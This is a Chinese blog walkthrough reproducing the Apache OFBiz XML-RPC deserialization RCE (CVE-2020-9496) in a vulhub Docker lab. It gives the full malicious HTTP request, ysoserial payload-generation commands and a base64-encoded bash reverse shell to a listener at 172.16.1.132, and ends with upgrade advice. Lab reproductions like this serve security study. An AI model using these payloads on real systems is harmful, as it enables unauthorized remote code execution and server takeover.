您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關怎樣實現Apache Ofbiz XMLRPC RCE漏洞CVE-2020-9496的復現,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
Apache OFBiz全稱是The ApacheOpen For Business Project。是開放的電子商務平臺,是一個非常著名的開源項目,提供了創建基于最新的J2EE/XML規范和技術標準,構建大中型企業級、快平臺、跨數據庫、跨應用服務器的多層、分布式電子商務類WEB應用系統的框架。OFBiz幾乎實現了所有的J2EE核心設計模式,各個模塊之間的耦合比較松散,用戶能夠比較容易的根據自己的需要進行拆卸,非常靈活。
Apache ofbiz 存在反序列化漏洞,攻擊者 通過 訪問未授權接口,構造特定的xmlrpc http請求,可以造成遠程代碼執行的影響。
- Apache Ofbiz:< 17.12.04
1、本次環境使用vulhub搭建,在裝有docker環境的虛擬機中下載
git clone https://github.com/vulhub/vulhub.git
2、進入漏洞目錄,使用docker-compose拉取漏洞環境,看到綠色的done表示成功
cd vulhub/ofbiz/CVE-2020-9496/
docker-compose up -d
3、在瀏覽器訪問https://your-ip:8443/myportal/control/main訪問注冊頁面
4、安裝漏洞復現所需要的環境
4.1安裝java8環境
https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根據自己系統版本選擇jdk下載
4.2下載完成創建一個文件夾,把下載好的java解壓到創建的文件
mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
4.3添加Java環境變量
vim /etc/profile
末尾增加
export JAVA_HOME=/opt/java/ jdk1.8.0_141
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
4.4添加完成后使用環境變量馬上生效,刷新完成后查看java版本
source /etc/profile
java -version
5、安裝maven,使用wget下載mvn
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
5.1配置環境變
vim /etc/profile
5.2在最下面增加
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
5.3添加完成后使用環境變量馬上生效,刷新完成后查看maven版本
source /etc/profile
mvn -version
1、在GitHub上下載java反序列化利用工具ysoserial,
git clone https://github.com/frohoff/ysoserial.git
2、進入ysoserial目錄使用maven下載編譯需要得包,編譯成功為以下圖片
mvn clean package -DskipTests
3、在ysoserial目錄可以看到有一個target目錄,進入此目錄
4、在頁面url訪問以下鏈接使用Burp抓包,并發送到Repeater模塊
https://your-ip:8443/webtools/control/xmlrpc
5、把數據包替換成以下數據包
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
6、使用使用ysoserial的CommonsBeanutils1來生成Payload在tmp目錄寫入文件
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"
7、復制base64編碼得payload,粘貼到burp數據包中base64payload的地方,點擊發送,可以進docker中查看是否寫入成功
8、利用漏洞反彈shell,去以下網址把反彈shellpayload進行base64編碼
http://www.jackson-t.ca/runtime-exec-payloads.html
9、把編碼后的shell在使用ysoserial工具進行一次base64編碼
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xMzIvMjI1OSAwPiYx}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"
10、nc設置監聽,把生成的exp放入到burp的數據包中發送,查看nc監聽以返回shell
1、建議升級至最新版本
上述就是小編為大家分享的怎樣實現Apache Ofbiz XMLRPC RCE漏洞CVE-2020-9496的復現了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。